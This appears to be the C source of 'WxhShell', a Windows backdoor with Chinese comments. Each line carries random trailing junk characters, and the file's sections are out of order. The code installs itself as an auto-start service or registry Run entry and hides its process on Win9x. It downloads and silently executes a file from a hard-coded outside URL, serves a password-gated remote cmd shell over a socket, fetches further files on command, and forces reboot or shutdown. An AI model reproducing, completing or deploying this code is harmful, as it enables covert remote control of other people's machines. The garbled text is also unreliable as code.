    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (+ >n/I6  
    if(Boot(SHUTDOWN)) 7eq;dNB@gq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . XY'l  
    else { Oq.) 8E.  
    closesocket(wsh); E+>;tLw3j  
    ExitThread(0); C= Zuy^  
    } Nd0Wt4=  
    break; FKzqJwT  
    } }\irr9,  
  // 获取shell 5<S1,u5  
  case 's': { U%#=d@?  
    CmdShell(wsh); (z.Vwl5  
    closesocket(wsh); 2ru6 bIb;  
    ExitThread(0); Ex Qld  
    break; j9qN!.~mM  
  } b/G0EcRw+  
  // 退出 9 V;m;sz  
  case 'x': { ,iHt*SZ,*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N7e^XUG   
    CloseIt(wsh); ?K]k(ZV_+Y  
    break; xNONf4I:6J  
    } 4C2 D wj  
  // 离开 WH/a#F  
  case 'q': { ?^7~|?v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D~ {)\;w^!  
    closesocket(wsh); %:/;R_  
    WSACleanup(); !l&lb]V cz  
    exit(1); &fTCY-W[  
    break; <>R7G)w F  
        } kxO$Uk&TX  
  } :Rq D0>1  
  } *[jaI-~S  
m]%cNxS  
  // 提示信息 :1s1wY3Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /)G9w]|T  
} 1H ZexV  
  } j@:L MR>  
4SOj>(a#  
  return; ]F_u  
} S !e0 :  
]f\rB8k|&  
// shell模块句柄 o 1b#q/  
int CmdShell(SOCKET sock) 8=e \^Q+  
{ ?@XO*|xkSk  
STARTUPINFO si; *7Mrng  
ZeroMemory(&si,sizeof(si)); F%Xq}LMd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (O&b:D/Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D`gY6wX  
PROCESS_INFORMATION ProcessInfo; 6ZM<M7(V  
char cmdline[]="cmd"; @3G3l|~>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K>q,?x b  
  return 0; Rbl(oj#  
} < /}[x2w?]  
.h6h&[TEU  
// 自身启动模式 %AJdtJ@0H  
int StartFromService(void) ) HmpVH  
{ ePF9Vzq  
typedef struct f"-?%I*'  
{ ;CC[>  
  DWORD ExitStatus; |GsLcUv6  
  DWORD PebBaseAddress; @B[V'|  
  DWORD AffinityMask; 59)PJ0E  
  DWORD BasePriority; g,1\Gj%y  
  ULONG UniqueProcessId; _7;#0B  
  ULONG InheritedFromUniqueProcessId; ru U|  
}   PROCESS_BASIC_INFORMATION; #8(@a Y  
ugL$W@   
PROCNTQSIP NtQueryInformationProcess; C{,nDa?|  
d9^h YS{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Ffn:=Do  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \t(/I=E8/  
xE}q(.]  
  HANDLE             hProcess; rVO+ vhih  
  PROCESS_BASIC_INFORMATION pbi; ClEtw   
Io:xG6yG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :jhJp m1Xq  
  if(NULL == hInst ) return 0; 4RK^efnp  
1b't"i M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y<gmp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4iw+3 Q|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +[>m`XTq  
2qEy"DKu  
  if (!NtQueryInformationProcess) return 0;  mbd@4u  
4u;W1=+Vn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l^SKd  
  if(!hProcess) return 0; `yf#(YP  
_LS=O@s^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4}0s^>R  
a]Lr<i8#%  
  CloseHandle(hProcess); YlYTH_L>E  
2#rF/!`^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TN0d fba[  
if(hProcess==NULL) return 0; avT>0b:  
*v&g>Ni  
HMODULE hMod; Z)ObFJMG5  
char procName[255]; N#UyAm<9  
unsigned long cbNeeded; S |B7HS5  
>Rr]e`3wG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LsLsSV  
eHv/3"Og  
  CloseHandle(hProcess); ^y?? pp<1J  
5ecqJ  
if(strstr(procName,"services")) return 1; // 以服务启动 uh GL1{  
k muF*0Bjk  
  return 0; // 注册表启动 f6z[k_lLN  
} O/FQ'o1F  
KI# hII[Q.  
// 主模块 .-o$ IQsS  
int StartWxhshell(LPSTR lpCmdLine) :_vf1>[  
{ R[9[lQ'vR  
  SOCKET wsl; 5` Q#2  
BOOL val=TRUE; }96^OQPE  
  int port=0; Q2+e`  
  struct sockaddr_in door; ,H|V\\  
Iz  ,C!c  
  if(wscfg.ws_autoins) Install(); \oaO7w,:"  
p{88v3b6  
port=atoi(lpCmdLine); }3QEclZr  
yYW>)  
if(port<=0) port=wscfg.ws_port; jPFA\$To  
U/TF,JUI  
  WSADATA data; yJ?4B?p(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h>fY'r)DAx  
T]0qd^\4w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xp%JPI {  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RCsd  
  door.sin_family = AF_INET; +H+OYQ>^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9/0<Z_b2  
  door.sin_port = htons(port); [5,#p$R  
7q(RQQp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >y2gfD  
closesocket(wsl); g<tr |n  
return 1; Y>IEB,w  
} jy6% CSWQ  
\# #~Tq  
  if(listen(wsl,2) == INVALID_SOCKET) { eM{+R^8  
closesocket(wsl); @C?RbTHy  
return 1; /5SBLp}Sy  
} mgg/i@(  
  Wxhshell(wsl); 9CxU: ;3  
  WSACleanup(); @ UX'(W  
-MeGJX:^I  
return 0; {Z$Aw4a"d  
dMYDB  
} 2jaR_` `=:  
/SjA;c! .  
// 以NT服务方式启动 {&m^*YN/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3Ju<jXoo!  
{ >NK*$r8  
DWORD   status = 0; +1_NB;,e  
  DWORD   specificError = 0xfffffff; %[5hTf  
<kp?*xV]]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V|DAw[!6N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }ob#LC,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s )\%%CM  
  serviceStatus.dwWin32ExitCode     = 0; QYDSE  
  serviceStatus.dwServiceSpecificExitCode = 0; fyh9U_M);w  
  serviceStatus.dwCheckPoint       = 0; |&3[YZY  
  serviceStatus.dwWaitHint       = 0; y&UcTE2;%(  
a! ]'S4JS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ([^1gG+>J  
  if (hServiceStatusHandle==0) return; ZI}7#K<9X  
e'p'{]r<w  
status = GetLastError(); l7nc8K  
  if (status!=NO_ERROR) 6gNsh  
{ 3N[t2Y1r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H W)> `  
    serviceStatus.dwCheckPoint       = 0; pFx7URZA  
    serviceStatus.dwWaitHint       = 0; 5v6*.e'p  
    serviceStatus.dwWin32ExitCode     = status; 1d"g $i4e  
    serviceStatus.dwServiceSpecificExitCode = specificError; &KmV tj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }[\l$sS  
    return; xZwG@+U=X  
  } o^}K]ML!t  
:!n_a*.{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1=}+NK!  
  serviceStatus.dwCheckPoint       = 0; I ze+](  
  serviceStatus.dwWaitHint       = 0; ]-&A )M6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V+(1U|@~  
} <Y9%oJn%  
JUHmIFjZ  
// 处理NT服务事件,比如:启动、停止 `8/K+ e`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) //xK v{3fI  
{ Y({&} \o  
switch(fdwControl) xk7 MMRb  
{ [vrM,?X  
case SERVICE_CONTROL_STOP: ;=fOyg  
  serviceStatus.dwWin32ExitCode = 0; I<Wp,E9G#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &s-iie$"@x  
  serviceStatus.dwCheckPoint   = 0; !:]CKbG  
  serviceStatus.dwWaitHint     = 0; &@<Z7))  
  { GHWi,' mr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ibAZ=RD  
  } *eK\W00  
  return; "wy|gnQJ  
case SERVICE_CONTROL_PAUSE: MAb*4e#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x-1RmL_%  
  break;  qr~P$  
case SERVICE_CONTROL_CONTINUE: '1+s^Q'pc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  d|;S4m`  
  break; 0%&ZR=y(G  
case SERVICE_CONTROL_INTERROGATE: B]iPixA6  
  break; piULIZ0  
}; n@[_lNa4GD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Se{x-vn?p  
} z@Pv~"  
l|R BO+}  
// 标准应用程序主函数 ?71?Vd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l!qhK'']V"  
{ @cRR  
lY -2e>  
// 获取操作系统版本 3dheT}XV?p  
OsIsNt=GetOsVer(); A#k(0e!O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !?)ky `S3  
VokIc&!Uz  
  // 从命令行安装 Pw+PBIGn4  
  if(strpbrk(lpCmdLine,"iI")) Install(); amvD5  
oN({X/P2j  
  // 下载执行文件 sE:~+C6o:  
if(wscfg.ws_downexe) { H{ M7_1T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G5A:C(r  
  WinExec(wscfg.ws_filenam,SW_HIDE); EdcbWf7  
} }$%j}F{  
BA(erf>  
if(!OsIsNt) { GBeWF-`B  
// 如果时win9x,隐藏进程并且设置为注册表启动 *uW l 804  
HideProc(); 7qsu0 .[d  
StartWxhshell(lpCmdLine); e%[0 NVo  
} !$n@-  
else /~~A2.=.  
  if(StartFromService()) fVJlA  
  // 以服务方式启动 4|U$ON?x  
  StartServiceCtrlDispatcher(DispatchTable); w}|XSJ!  
else HKp|I%b]J  
  // 普通方式启动 UlP2VKM1&  
  StartWxhshell(lpCmdLine); # RoJD:9  
NVnId p  
return 0; ty ESDp%  
} u:]c  
QQI,$HId  
;*u"hIl1/  
I-Q@v`  
=========================================== wE3L,yx=  
WwUhwY1o!L  
=M6Ph%  
\rj>T6  
d6^:lbj  
eR3v=Q  
" k I?+\k\V`  
u*}ltR~/  
#include <stdio.h> YuXCRw9p;  
#include <string.h> <?Ln`,Duk  
#include <windows.h> pl }nb Y  
#include <winsock2.h> C]EkVcKFA  
#include <winsvc.h> {'8td^JEE  
#include <urlmon.h> o%yfR.M6$  
!),eEy  
#pragma comment (lib, "Ws2_32.lib") v*";A  
#pragma comment (lib, "urlmon.lib") ;NMv>1fI  
y`,;m#frT  
#define MAX_USER   100 // 最大客户端连接数 jFDVd;#CS  
#define BUF_SOCK   200 // sock buffer D~ogq]  
#define KEY_BUFF   255 // 输入 buffer mO=A50_&,Q  
O*7vmPy  
#define REBOOT     0   // 重启 %g_ )_ ~  
#define SHUTDOWN   1   // 关机 -=cxUDB  
TUBpRABH  
#define DEF_PORT   5000 // 监听端口 {=%,NwPs  
aP$it 6Z  
#define REG_LEN     16   // 注册表键长度 n nOgmI7  
#define SVC_LEN     80   // NT服务名长度 8TBv~Q u  
FMOO  
// 从dll定义API #My14u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dAWB.#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KS'n$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;FGS(.mjlC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c>Tf@A og>  
UY6aD~tD0  
// wxhshell配置信息 DaS~bweMw  
struct WSCFG { f\;w(_  
  int ws_port;         // 监听端口 Z=9<esx  
  char ws_passstr[REG_LEN]; // 口令 nR]*RIp5  
  int ws_autoins;       // 安装标记, 1=yes 0=no v<@3&bot  
  char ws_regname[REG_LEN]; // 注册表键名 1oc@]0n  
  char ws_svcname[REG_LEN]; // 服务名 J@o_-\@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7{Lp/z%r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o:'@|(&<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EQWRfx?d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < z#.J]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z]2MR2W@X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Oq^t[X'  
Z9G4in8  
}; }a !ny  
.mHVJ5^:4\  
// default Wxhshell configuration enx+,[  
struct WSCFG wscfg={DEF_PORT, tQ *?L  
    "xuhuanlingzhe", ~GE|,Np  
    1, F EUfskv  
    "Wxhshell", AGl#f\_^  
    "Wxhshell", /X]gm\x7s  
            "WxhShell Service", s~QIs  
    "Wrsky Windows CmdShell Service", /Y=_EOS  
    "Please Input Your Password: ", Q45gC28x  
  1, QQ`tSYgex  
  "http://www.wrsky.com/wxhshell.exe", m@Dra2Cv'@  
  "Wxhshell.exe" o~<jayqU  
    }; D<hX%VJ%M  
TMGYNb%<bX  
// 消息定义模块 ^F'~|zc"C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2n+ud ?|l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w\mTug  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mGDy3R90  
char *msg_ws_ext="\n\rExit."; Egz6rRCvg  
char *msg_ws_end="\n\rQuit."; 1Ys)b[:  
char *msg_ws_boot="\n\rReboot..."; \QQWhwE  
char *msg_ws_poff="\n\rShutdown..."; &xt[w>/i  
char *msg_ws_down="\n\rSave to "; w~_ycY.e  
2 OV$M~  
char *msg_ws_err="\n\rErr!"; l{*m-u5&;  
char *msg_ws_ok="\n\rOK!"; tPa( H;  
ScjeAC)  
char ExeFile[MAX_PATH]; ow  
int nUser = 0; Zor!hc0<  
HANDLE handles[MAX_USER]; 7;c^*"Ud  
int OsIsNt; <ne?;P1L  
CA1Jjm=  
SERVICE_STATUS       serviceStatus; S}fQis  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V?Q45t Ae  
4X",:B}  
// 函数声明 ])G| U A.  
int Install(void); (t){o> l  
int Uninstall(void); # > I_  
int DownloadFile(char *sURL, SOCKET wsh); :@@`N_2?  
int Boot(int flag); =jKu=!QPq  
void HideProc(void); T+x / J]A  
int GetOsVer(void); W\($LD"X  
int Wxhshell(SOCKET wsl); Yecdw'BW?  
void TalkWithClient(void *cs); BL~#-Mm<|l  
int CmdShell(SOCKET sock); C =CZtjUt  
int StartFromService(void); #D#kw*c  
int StartWxhshell(LPSTR lpCmdLine); C?k\5AzT  
amq,^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =`*@OJHH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >0[:uu,'>  
,cxe"U  
// 数据结构和表定义 giH#t< )W  
SERVICE_TABLE_ENTRY DispatchTable[] = Zn0a)VH%  
{ KWeE!f 7G  
{wscfg.ws_svcname, NTServiceMain}, GGo ~39G  
{NULL, NULL} G)^/#d#&  
}; H0 Z o.Np  
j D*<M/4  
// 自我安装 /NjBC[P  
int Install(void) auB 931|  
{ :Jf</uP_  
  char svExeFile[MAX_PATH]; O8A(OfX  
  HKEY key; (, ik:j  
  strcpy(svExeFile,ExeFile); V;g) P  
-+u}u=z%  
// 如果是win9x系统,修改注册表设为自启动 =>lX brJ  
if(!OsIsNt) { ; wxmSX9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |'&$VzA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Ok3y|cEx  
  RegCloseKey(key);  3Z`"k2k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]%I\FefT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #?+[|RS|  
  RegCloseKey(key); FZ}^)u}o  
  return 0; K2e68GU  
    } ]'7Au]Us`  
  } XZ{rKf2  
} CJh,-w{wJ"  
else { pouXt-%2X  
q.<)0nk  
// 如果是NT以上系统,安装为系统服务 /P-#y@I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9D &vxKE  
if (schSCManager!=0) *5 9|  
{ */JYP +  
  SC_HANDLE schService = CreateService z.\r7  
  ( rW|%eT*/'A  
  schSCManager, {chZ&8)f  
  wscfg.ws_svcname, d>mT+{3  
  wscfg.ws_svcdisp, >Ut: -}CS  
  SERVICE_ALL_ACCESS, SOX7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g\q4-  
  SERVICE_AUTO_START, qBcbMa9m  
  SERVICE_ERROR_NORMAL, oemN$g&7  
  svExeFile, SUIJ{!F/  
  NULL, `R xCs`  
  NULL, Q"U%]2@=  
  NULL,  *U6+b  
  NULL, ;du},>T$n  
  NULL {$Uj&/IC  
  ); F-b]>3r  
  if (schService!=0) 'K02T:\iZ  
  { l`l6Y>c*]  
  CloseServiceHandle(schService);  ^|zag  
  CloseServiceHandle(schSCManager); _68vSYr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XkkzY5rxOc  
  strcat(svExeFile,wscfg.ws_svcname); !;mn]wR>a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iLJ@oM;2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yGNpx3H  
  RegCloseKey(key); F!g1.49""  
  return 0; rNJU & .]  
    } o~e_M-  
  } ]T|$nwQ  
  CloseServiceHandle(schSCManager); fMUh\u3  
} !ht2*8$lQ  
} Wu<;QY($5  
@k)J i!7  
return 1; YmFg#eS  
} rm ;U' &{  
#]5KWXC'~  
// 自我卸载 !W8=\:D[  
int Uninstall(void) C>x)jDb?  
{ ||*F. p  
  HKEY key; 2L;=wP2?{  
E9>z.vV   
if(!OsIsNt) { l'_]0%o]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B|"/bQ  
  RegDeleteValue(key,wscfg.ws_regname); ^X+qut+~  
  RegCloseKey(key); [e ztu9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *P9"1K +  
  RegDeleteValue(key,wscfg.ws_regname); ,wM}h  
  RegCloseKey(key); |a"]@W$>  
  return 0; mjg@c|rTG  
  } ]UEA"^  
} %qo.n v  
} -`{W~yz  
else { h!JyFc  
%AtT(G(n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L7aVj&xM  
if (schSCManager!=0) 82ixv<B  
{ o6;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z2yO /$<  
  if (schService!=0) Cw(ypu  
  { D@9 +yu=S  
  if(DeleteService(schService)!=0) { h%$^s0w  
  CloseServiceHandle(schService); 4U}J?EB?K  
  CloseServiceHandle(schSCManager); GTTEg{  
  return 0; ;` Xm?N  
  } l,]%D  
  CloseServiceHandle(schService); ?Y -;781  
  } T30fp  
  CloseServiceHandle(schSCManager); s@"|o3BX  
} \b $pH  
} svDnw cl  
%L]sQq,  
return 1; YaSBIq{z  
} ~+0IFJ`}  
#_S]\=N(  
// 从指定url下载文件 2[3t7C  
int DownloadFile(char *sURL, SOCKET wsh) >itabG-&  
{ zI,Qc60B  
  HRESULT hr; 13Z,;YW  
char seps[]= "/"; HyWR&0J  
char *token; '" %0UflJS  
char *file; f42F@M(:  
char myURL[MAX_PATH]; ~7KH/%Z-  
char myFILE[MAX_PATH]; HBvyX`-  
=v::N\&  
strcpy(myURL,sURL); .TdFI"Yn  
  token=strtok(myURL,seps); ezL1,GT  
  while(token!=NULL) &dWGa+e  
  { ttJ'6lGXh  
    file=token; hx;kNcPbI  
  token=strtok(NULL,seps); XC~"T6F  
  } 1aIGC9xQ`  
4 FZR }e\  
GetCurrentDirectory(MAX_PATH,myFILE); Q>+rjN;  
strcat(myFILE, "\\"); k'|yUJ,  
strcat(myFILE, file); <_t]?XHB[  
  send(wsh,myFILE,strlen(myFILE),0); PDw+Q  
send(wsh,"...",3,0); sT!?nn3O`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i~v[3e9y7  
  if(hr==S_OK) s#aj5_G  
return 0; ~' 955fK>  
else BQ u8$W  
return 1; {D",ao   
/D;ugc*3  
} :vEfJSA 1<  
1 ; <Vr<.  
// 系统电源模块 x+za6e_k"  
int Boot(int flag) -hm/lxyU  
{ y7!&  
  HANDLE hToken; +:ms`Sr>  
  TOKEN_PRIVILEGES tkp; K n1;=k  
L)\<7  
  if(OsIsNt) { 'Z.C&6_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Zqe$S +u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f1'X<VA  
    tkp.PrivilegeCount = 1; C@:X9NU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FGP^rTP)e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /ivVqOo  
if(flag==REBOOT) { vdgK3I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _6c/,a8;*J  
  return 0; Zazs".  
} z a_0-G%C2  
else { Tq )hAZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CYE[$*g6y  
  return 0; x"C7NW[$  
} B[7,Hy,R  
  } yF6AI@y  
  else { GT] >  
if(flag==REBOOT) { oxeu%wj_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s#a`e]#?  
  return 0; /Ta-3Eh!  
} #W8?E_iu  
else { }AB_i'C0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KGc.YUoE  
  return 0; J %A=  
} u1UCe  
} (n>Gi;u(R  
6XZjZ*)W  
return 1; H{N},B  
} ]u-bJ  
AD`5:G  
// win9x进程隐藏模块 H? z~V-8  
void HideProc(void) 2BF455e   
{ O:rf DO  
{j`8XWLZZN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WFk%nO/  
  if ( hKernel != NULL ) 2!W[ff@~7  
  { ]ke9ipj]:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /8l@n dZf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bnk<e  
    FreeLibrary(hKernel); <Rn-B).3bs  
  } L?|}!  
U<sGj~"#  
return; 1fIx@  
} l/nBin&YGv  
{`M \}(E  
// 获取操作系统版本 tw zV-8\  
int GetOsVer(void) RR+kjK?  
{ -u"|{5? '  
  OSVERSIONINFO winfo; w{L9-o3A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Btzes.  
  GetVersionEx(&winfo); 8pr toCB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0`WFuFi^o  
  return 1; $n!5JS@40  
  else j8 2w 3  
  return 0; Hu6Qr  
} . IY@Q  
ey9hrRMR  
// 客户端句柄模块 mP6}$ D  
int Wxhshell(SOCKET wsl) 5+oY c-  
{ (91ts$jH  
  SOCKET wsh; .nVY" C&  
  struct sockaddr_in client; c*zeO@AAn  
  DWORD myID; 4t%Lo2v!X%  
I;wxgWOP  
  while(nUser<MAX_USER) DQ/rx`BG  
{ u$5.GmKm  
  int nSize=sizeof(client); 8Ara^Xh}q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p8-$MF]] 6  
  if(wsh==INVALID_SOCKET) return 1; K$}K2w  
$?z} yx$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +'93%/:  
if(handles[nUser]==0) YG= :lf  
  closesocket(wsh); ZWS:-]P.  
else - uO(qUa#  
  nUser++; *6AqRE  
  } 45[,LJaMd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <Dgf'Gr J  
gq*W 0S  
  return 0; T@P~A)>yo  
} tg 'gR  
: 4-pnn  
// 关闭 socket Dmy=_j?ej  
void CloseIt(SOCKET wsh) :~W(#T,$E  
{ [9 :9<#?o^  
closesocket(wsh); z ULH gG  
nUser--; iumwhb  
ExitThread(0); ? -3G5yy  
} Ce}m$k  
VE*`J i  
// 客户端请求句柄 Yuf+d-%  
void TalkWithClient(void *cs) E'mT%@M OM  
{ }Ptv[{q]GE  
tzgaHN  
  SOCKET wsh=(SOCKET)cs; $gYGnh_,Q  
  char pwd[SVC_LEN]; kxyOe[7 S  
  char cmd[KEY_BUFF]; 8q6Le{G  
char chr[1]; $\] Mvd  
int i,j; $39TP@?:Z)  
m;xa}b{(i  
  while (nUser < MAX_USER) { v)|a}5={  
h\Y~sm?!`  
if(wscfg.ws_passstr) { ]lyQ*gM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) d'H&c3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); daSx^/$R  
  //ZeroMemory(pwd,KEY_BUFF); bW/T}FN D  
      i=0; Z]2z*XD  
  while(i<SVC_LEN) { |=VWE>g  
{hf_Xro&  
  // 设置超时 m*)jnd XY  
  fd_set FdRead; JS\]|~Gd  
  struct timeval TimeOut; ,+OVRc  
  FD_ZERO(&FdRead); wKfq'W{  
  FD_SET(wsh,&FdRead); L_:~{jV  
  TimeOut.tv_sec=8; &Y9%Y/Y  
  TimeOut.tv_usec=0; %1GKN|7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r+#g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Y->EME:W  
:TKx>~`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uh1UZ r  
  pwd=chr[0]; ';.y`{/  
  if(chr[0]==0xd || chr[0]==0xa) { }c= Y<Cdh  
  pwd=0; \0;w7tdo  
  break; /?Y4C)G  
  } w&es N$2  
  i++; k[<i+C";  
    } s{X+0_@Q  
6kR3[]:16v  
  // 如果是非法用户,关闭 socket Dh#5-Kf%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  4y5Q5)j  
} S_??G:i  
x+'Ea.^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kDQE*o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l$HBYA\Qh  
/']`}*d  
while(1) { C~.\2D`zy  
cR55,DR,#W  
  ZeroMemory(cmd,KEY_BUFF); ih75 C"  
5__B M5|  
      // 自动支持客户端 telnet标准   V}2[chbl  
  j=0; ?uP5("c  
  while(j<KEY_BUFF) { i~<.@&vt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AhjCRYk+  
  cmd[j]=chr[0]; g.8^ )u  
  if(chr[0]==0xa || chr[0]==0xd) {  =mcQe^M  
  cmd[j]=0; n >E1\($  
  break; Y37qjV  
  } mdmJne.  
  j++; `8\" 3S  
    } ?TW?2+  
aDLlL?r3  
  // 下载文件 L KZ<\% X  
  if(strstr(cmd,"http://")) { QGErQ +l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |vG?H#y  
  if(DownloadFile(cmd,wsh)) ehe#"exCB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/@r#  
  else H#nJWe_9A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &!'R'{/?X  
  } Gcxz$.(  
  else { M#8_Qbvfk  
JH2-'  
